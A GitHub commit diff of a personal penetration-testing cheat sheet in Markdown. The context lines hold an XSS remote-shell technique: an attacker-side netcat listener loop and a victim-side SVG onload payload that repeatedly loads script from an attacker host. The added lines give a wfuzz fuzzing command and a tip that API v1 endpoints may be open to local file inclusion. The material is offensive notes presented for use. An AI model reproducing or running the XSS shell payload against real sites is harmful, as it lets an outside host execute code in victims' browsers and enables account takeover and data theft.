Update Cheat Sheet.md

This commit is contained in:
AbdullahRizwan101 2020-12-04 12:08:12 -05:00 committed by GitHub
parent 565dfd3a3e
commit 58c95f9c6e
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -190,6 +190,10 @@ Attacker: while :; do printf "j$ "; read c; echo $c | nc -lp PORT >/dev/null; do
Victim: <svg/onload=setInterval(function(){d=document;z=d.createElement("script");z.src="//HOST:PORT";d.body.appendChild(z)},0)>
```
### Wfuzz
`wfuzz -c -z file,wordlist.txt --hh=0 http://<ip>/<path>/?date=FUZZ`
### API (Applicaton Programmable Interface)
* Check for possibility if there is a v1 , it is likely to be vulnerable to LFI